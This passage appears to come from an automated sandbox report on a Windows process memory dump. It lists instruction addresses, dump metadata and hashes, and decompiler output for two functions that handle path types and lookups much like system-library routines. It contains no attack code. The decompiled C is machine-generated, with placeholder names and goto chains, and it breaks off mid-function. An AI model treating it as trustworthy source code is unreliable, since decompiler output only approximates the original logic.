0x03d15d98
0x03d15dba
0x03d15dcb
0x03d15dce
0x03d15dd3
0x03d15dd6
0x03d15dd8
0x03d15de6
0x03d15dec
0x03d15dee
0x03d15df1
0x03d15df3
0x03d1635a
0x03d1635a
0x00000000
0x03d1635a
0x03d15dfe
0x03d15e02
0x03d15e05
0x03d15e07
0x03d15e10
0x03d15e13
0x03d15e1b
0x03d15e1c
0x03d15e21
0x03d15e22
0x03d15e23
0x03d15e25
0x03d15e2a
0x03d15e2c
0x03d15e2e
0x03d15e36
0x03d15e39
0x03d15e42
0x03d15e47
0x03d15e4d
0x03d15e54
0x03d15e54
0x03d15e54
0x03d15e2e
0x03d15e5c
0x03d15e5f
0x03d15e62
0x03d15e64
0x03d15e6b
0x03d15e70
0x03d15e7a
0x03d15e7a
0x03d15e7a
0x03d15e6b
0x03d15e7e
0x03d15e7f
0x03d15e7f
0x03d15e81
0x03d15e87
0x03d15e8b
0x03d15e8c
0x03d15e8c
0x03d15e8c
0x03d15e9a
0x03d15e9c
0x03d15ea2
0x03d15ea6
0x03d15f50
0x03d15f50
0x03d15f57
0x03d15f66
0x03d15f66
0x03d15f66
0x03d15f68
0x03d15f6a
0x03d163d0
0x00000000
0x03d15f70
0x03d15f70
0x03d15f91
0x03d15f9c
0x03d15f9e
0x03d15fa4
0x03d15fa6
0x03d1638c
0x03d16392
0x03d163a1
0x03d163a7
0x03d163af
0x03d163af
0x03d163bd
0x03d163d8
0x00000000
0x03d163d8
0x03d15fac
0x03d15fb2
0x03d15fb4
0x03d15fbd
0x03d15fc6
0x03d15fce
0x03d15fd4
0x03d15fdc
0x03d15fec
0x03d15fed
0x03d15fee
0x03d15fef
0x03d15ff9
0x03d15ffa
0x03d15ffb
0x03d15ffc
0x03d16000
0x03d16004
0x03d16012
0x03d16012
0x03d16018
0x03d16019
0x03d1601a
0x03d1601b
0x03d1601c
0x03d16020
0x03d16059
0x03d1605c
0x03d16061
0x03d16061
0x03d16022
0x03d16022
0x03d16022
0x03d16025
0x03d1602a
0x03d1602b
0x03d16031
0x03d16037
0x03d16038
0x03d1603e
0x03d16048
0x03d16049
0x03d1604a
0x03d1604b
0x03d1604c
0x03d1604d
0x03d16053
0x03d16054
0x03d16054
0x03d16062
0x03d16065
0x03d16067
0x03d1606a
0x03d16070
0x03d16075
0x03d16076
0x03d16081
0x03d16087
0x03d16095
0x03d16099
0x03d1609e
0x03d160a4
0x03d160ae
0x03d160b0
0x03d160b3
0x03d160b6
0x03d160b8
0x03d160ba
0x03d160ba
0x03d160ba
0x03d160ba
0x03d160be
0x03d160c0
0x03d160c5
0x03d160c5
0x03d160c5
0x03d160c6
0x03d160cd
0x03d16114
0x03d160cf
0x03d160cf
0x03d160d4
0x03d160d5
0x03d160da
0x03d160db
0x03d160e1
0x03d160e2
0x03d160e8
0x03d160f8
0x03d160fd
0x03d160fe
0x03d16102
0x03d16104
0x03d16107
0x03d16109
0x03d1610b
0x03d1610b
0x03d1610b
0x03d1610b
0x03d1610f
0x03d1610f
0x03d16117
0x03d1611a
0x03d1611f
0x03d16125
0x03d16134
0x03d16139
0x03d1613f
0x03d16146
0x03d16148
0x03d1614b
0x03d1614d
0x03d1614f
0x03d1614f
0x03d1614f
0x03d1614f
0x03d16153
0x03d16159
0x03d16159
0x03d1615c
0x03d16163
0x03d16169
0x03d1616c
0x03d16172
0x03d16181
0x03d16186
0x03d16187
0x03d1618b
0x03d16191
0x03d16195
0x03d161a3
0x03d161bb
0x03d161c0
0x03d161c3
0x03d161cc
0x03d161d0
0x03d161dc
0x03d161de
0x03d161e1
0x03d161e4
0x03d161e6
0x03d161e8
0x03d161e8
0x03d161e8
0x03d161e8
0x03d161e6
0x03d161ec
0x03d161f3
0x03d16203
0x03d16209
0x03d1620a
0x03d16216
0x03d1621d
0x03d16227
0x03d16241
0x03d16246
0x03d1624c
0x03d16257
0x03d16259
0x03d1625c
0x03d1625e
0x03d16260
0x03d16260
0x03d16260
0x03d16260
0x03d1625e
0x03d16264
0x03d16267
0x03d16269
0x03d16315
0x03d16315
0x03d1631b
0x03d1631e
0x03d16324
0x03d16327
0x03d1632f
0x03d16330
0x03d16333
0x03d1633a
0x03d1633c
0x03d16335
0x03d16335
0x03d16335
0x03d1633f
0x03d16342
0x03d1634c
0x03d16352
0x03d16355
0x03d16355
0x03d16359
0x00000000
0x03d1626f
0x03d16275
0x03d16275
0x03d16278
0x03d1627e
0x03d1627e
0x03d16281
0x03d16287
0x03d1628d
0x03d16298
0x03d1629c
0x03d162a2
0x03d1629e
0x03d1629e
0x03d1629e
0x03d162a7
0x03d162a7
0x03d162aa
0x03d162b0
0x03d162f0
0x03d162f0
0x03d162f2
0x03d162f8
0x03d162fd
0x03d162b2
0x03d162b2
0x03d162b2
0x03d162b5
0x03d162dd
0x03d162e2
0x03d162e5
0x03d162b7
0x03d162b8
0x03d162bb
0x03d162bd
0x03d162c0
0x03d162c4
0x03d162cd
0x03d162cd
0x03d162c0
0x03d162bb
0x03d162b5
0x03d16302
0x03d16303
0x03d16305
0x03d16305
0x03d16305
0x03d1630c
0x03d1630c
0x00000000
0x03d1627e
0x03d16269
0x03d15eac
0x03d15ebb
0x03d15ebe
0x03d15ecb
0x03d15ecb
0x03d15ece
0x03d15ece
0x03d15ed4
0x03d15ed7
0x03d15ed9
0x03d15edb
0x03d15edb
0x03d15ee1
0x03d15ee1
0x03d15ee3
0x03d15f20
0x03d15f20
0x03d15ee5
0x03d15ee5
0x03d15ee5
0x03d15ee8
0x03d15f11
0x03d15f18
0x03d15eea
0x03d15eea
0x03d15eed
0x03d15ef2
0x03d15ef8
0x03d15efb
0x03d15f0a
0x03d15f0a
0x03d15eed
0x03d15ee8
0x03d15f22
0x03d15f28
0x00000000
0x00000000
0x03d15f30
0x03d15f31
0x03d15f37
0x03d15f3a
0x03d15f3d
0x03d15f44
0x00000000
0x00000000
0x00000000
0x03d15f46
0x03d15f48
0x03d15f4d
0x00000000
0x03d15f4d
0x03d15dda
0x03d15ddf
0x00000000
0x03d15ddf
0x03d15dd8
0x03d15da7
0x03d15da9
0x03d15dac
0x03d15dae
0x00000000
0x03d15db4
0x03d15db4
0x00000000
0x03d15db4
0x03d15dae
0x03d15d88
0x03d15d8d
0x03d16363
0x03d16369
0x03d1636a
0x03d16370
0x03d16372
0x03d1637a
0x03d1637b
0x03d1637d
0x00000000
0x00000000
0x03d1637f
0x03d16385
0x00000000
0x03d16385
0x03d15d38
0x03d15d3b
0x00000000
0x00000000
0x00000000
0x03d15d3b
0x03d15d27
0x03d15d29
0x00000000
0x00000000
0x00000000
0x03d16360
0x00000000
0x03d16360
0x03d15c10
0x03d15c10
0x03d163da
0x03d163e5
0x03d163e5

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb797582c300d77e14385d11dbfe9689eae26ba5889763fa89be211c7404a612
Instruction ID: e84cfcd138b2c66a4d8ffb267fd023a121aaf1cdfe4e9ed202f0c367f23b5b04
Opcode Fuzzy Hash: eb797582c300d77e14385d11dbfe9689eae26ba5889763fa89be211c7404a612
Instruction Fuzzy Hash: B2425875D002299FDB20CF68D880BA9F7B1FF49704F1981AAD94DEB242E7349A95CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03C64120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E03C64120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x3d3d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E03C7F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E03C66E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L03C64620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E03C66E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M03C645F8))) {
												case 0:
													_v568 = 0x3c21078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x3c211c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L03C64620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E03C8F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E03C8F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E03C452A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E03C5EB70(1, 0x3d379a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E03C5AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E03C895D0();
																			L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E03C8B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E03C83D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E03C8B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x03c64128
0x03c64135
0x03c6413c
0x03c64141
0x03c64145
0x03c64147
0x03c6414e
0x03c64151
0x03c64159
0x03c6415c
0x03c64160
0x03c64164
0x03c64168
0x03c6416c
0x03c6417f
0x03c64181
0x03c6446a
0x03c6446a
0x03c6418c
0x03c64195
0x03c64199
0x03c64432
0x03c64439
0x03c6443d
0x03c64442
0x03c64447
0x00000000
0x03c6419f
0x03c641a3
0x03c641b1
0x03c641b9
0x03c641bd
0x03c645db
0x03c645db
0x00000000
0x03c641c3
0x03c641c3
0x03c641ce
0x03c641d4
0x03cae138
0x03cae13e
0x03cae169
0x03cae16d
0x03cae19e
0x03cae16f
0x03cae16f
0x03cae175
0x03cae179
0x03cae18f
0x03cae193
0x00000000
0x03cae199
0x00000000
0x03cae199
0x03cae193
0x00000000
0x00000000
0x00000000
0x03c641da
0x03c641da
0x03c641df
0x03c641e4
0x03c641ec
0x03c64203
0x03c64207
0x03cae1fd
0x03c64222
0x03c64226
0x03cae1f3
0x03cae1f3
0x03c6422c
0x03c6422c
0x03c64233
0x03cae1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x03c64239
0x03c64239
0x03c64239
0x03c64239
0x03c64233
0x03c64226
0x03c641ee
0x03c641ee
0x03c641f4
0x03c64575
0x03cae1b1
0x03cae1b1
0x00000000
0x03c6457b
0x03c6457b
0x03c64582
0x03cae1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x03c64588
0x03c64588
0x03c6458c
0x03cae1c4
0x03cae1c4
0x00000000
0x03c64592
0x03c64592
0x03c64599
0x03cae1be
0x00000000
0x00000000
0x00000000
0x00000000
0x03c6459f
0x03c6459f
0x03c645a3
0x03cae1d7
0x03cae1e4
0x00000000
0x03c645a9
0x03c645a9
0x03c645b0
0x03cae1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x03c645b6
0x03c645b6
0x03c645b6
0x00000000
0x03c645b6
0x03c645b0
0x03c645a3
0x03c64599
0x03c6458c
0x03c64582
0x00000000
0x00000000
0x00000000
0x00000000
0x03c641f4
0x03c6423e
0x03c64241
0x03c645c0
0x03c645c4
0x00000000
0x03c645ca
0x03c645ca
0x00000000
0x03cae207
0x03cae20f
0x00000000
0x00000000
0x00000000
0x00000000
0x03c645d1
0x00000000
0x00000000
0x03c645ca
0x00000000
0x03c64247
0x03c64247
0x03c64247
0x03c64249
0x03c64249
0x03c64249
0x03c64251
0x03c64251
0x03c64257
0x03c6425f
0x03c6426e
0x03c64270
0x03c6427a
0x03cae219
0x03cae219
0x03c64280
0x03c64282
0x03c64456
0x03c645ea
0x00000000
0x03c645f0
0x03cae223
0x00000000
0x03cae223
0x03c6445c
0x03c6445c
0x00000000
0x03c6445c
0x00000000
0x03c64288
0x03c6428c
0x03cae298
0x03c64292
0x03c64292
0x03c6429e
0x03c642a3
0x03c642a7
0x03c642ac
0x03cae22d
0x03c642b2
0x03c642b2
0x03c642b9
0x03c642bc
0x03c642c2
0x03c642ca
0x03c642cd
0x03c642cd
0x03c642d4
0x03c6433f
0x03c6433f
0x03c642d6
0x03c642d6
0x03c642d9
0x03c642dd
0x03c642eb
0x03cae23a
0x03c642f1
0x03c64305
0x03c6430d
0x03c64315
0x03c64318
0x03c6431f
0x03c64322
0x03c6432e
0x03c6433b
0x03c6433b
0x00000000
0x03c6432e
0x03c642eb
0x03c6434c
0x03c6434e
0x03c64352
0x03c64359
0x03c6435e
0x03c64361
0x03c6436e
0x03c6438a
0x03c6438e
0x03c64396
0x03c6439e
0x03c643a1
0x03c643ad
0x03c643bb
0x03c643bb
0x03c643ad
0x03c6436e
0x03c643bf
0x03c643c5
0x03c64463
0x03c64463
0x03c643ce
0x03c643d5
0x03c643d9
0x03c643df
0x03c64475
0x03c64479
0x03c64491
0x03c64491
0x03c64479
0x03c643e5
0x03c643eb
0x03c643f4
0x03c643f6
0x03c643f9
0x03c643fc
0x03c643ff
0x03c644e8
0x03c644ed
0x03c644f3
0x03cae247
0x00000000
0x03c644f9
0x03c64504
0x03c64508
0x03c6450f
0x03cae269
0x00000000
0x03c64515
0x03c64519
0x03c64531
0x03c64534
0x03c64537
0x03c6453e
0x03c64541
0x03c6454a
0x03cae255
0x03cae255
0x03cae25b
0x03cae25e
0x03cae261
0x03cae261
0x03c64555
0x03c64559
0x03c6455d
0x03cae26d
0x03cae270
0x03cae274
0x03cae27a
0x03cae27d
0x03cae28e
0x03cae28e
0x03c64563
0x03c64563
0x03c64569
0x03c64569
0x00000000
0x03c6455d
0x03c6450f
0x00000000
0x03c644f3
0x03c643ff
0x03c64405
0x03c64405
0x03c64405
0x03c642ac
0x03c6428c
0x03c64282
0x03c64407
0x03c6440d
0x03cae2af
0x03cae2af
0x03c64413
0x03c64413
0x00000000
0x03c641d4
0x00000000
0x03c641c3
0x03c641bd
0x03c64415
0x03c64415
0x03c64416
0x03c64417
0x03c64429
0x03c6416e
0x03c6416e
0x03c64175
0x03c64498
0x03c6449f
0x03cae12d
0x00000000
0x03cae133
0x00000000
0x03cae133
0x03c644a5
0x03c644a5
0x03c644aa
0x00000000
0x03c644bb
0x03c644ca
0x03c644d6
0x03c644d7
0x03c644d8
0x03c644e3
0x03c644e3
0x03c644aa
0x03c6417b
0x03c6417b
0x03c6417b
0x00000000
0x03c6417b
0x03c64175
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813e4d4ec9b470286a5dea0d0c2ab8e1629b4bf4553ad9a783c29a37dbf899e1
Instruction ID: 8669019be9d4e1a13fe91a3e6068081cec59477cc83127187c1572b449ba3294
Opcode Fuzzy Hash: 813e4d4ec9b470286a5dea0d0c2ab8e1629b4bf4553ad9a783c29a37dbf899e1
Instruction Fuzzy Hash: 72F17E745087118BC728DF2AC490A7AF7E1FF88708F59496EF986CB250E735D981CB92

Uniqueness

Uniqueness Score: -1.00%

Function 03C720A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E03C720A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x3d38714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E03C72EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E03C72EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E03C458EC(_t240);
									_t221 =  *0x3d35cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x3d35cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E03C84A2C(0x3d36e40, 0x3c84b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
